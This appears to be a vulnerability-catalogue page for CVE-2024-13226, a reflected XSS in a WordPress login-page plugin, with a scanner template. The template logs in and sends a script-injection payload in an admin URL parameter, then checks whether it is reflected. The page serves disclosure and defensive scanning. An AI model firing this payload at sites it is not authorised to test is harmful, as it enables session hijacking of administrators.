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A5 Custom Login Page - Reflected XSS

CVE-2024-13226
Verified

Description

A5 Custom Login Page WordPress plugin v2.8.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires a crafted URL or input.

Severity

Medium

CVSS Score

6.1

Exploit Probability

1%

Published Date

February 7, 2026

Template Author

sourabh-sahu

CVE-2024-13226.yaml
id: CVE-2024-13226

info:
  name: A5 Custom Login Page - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    A5 Custom Login Page WordPress plugin v2.8.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires a crafted URL or input.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
  reference:
    - https://wpscan.com/vulnerability/dd09fe99-2334-4d6f-8a70-e1cd856b1486/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13226
    cwe-id: CWE-79
    epss-score: 0.00582
    epss-percentile: 0.45148
    cpe: cpe:2.3:a:tepelstreel:a5_custom_login_page:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/custom-login-page/"
  tags: cve,cve2024,tepelstreel,custom-login-page,authenticated,wordpress,wp-plugin,wp,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=clp-settings&tab=testxss"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>","custom-login-page")
        condition: and
# digest: 4a0a0047304502206ca6df3a4bd6a03170460f4021b008c44f7fa000139f412be6e020ce46dab66b022100a333b0a5666ee1044b36f0a1d539f6eddf14ad774a31c072be6539d5f488091a:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-13226
CWE ID:
cwe-79

References

https://wpscan.com/vulnerability/dd09fe99-2334-4d6f-8a70-e1cd856b1486/

Remediation Steps

Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.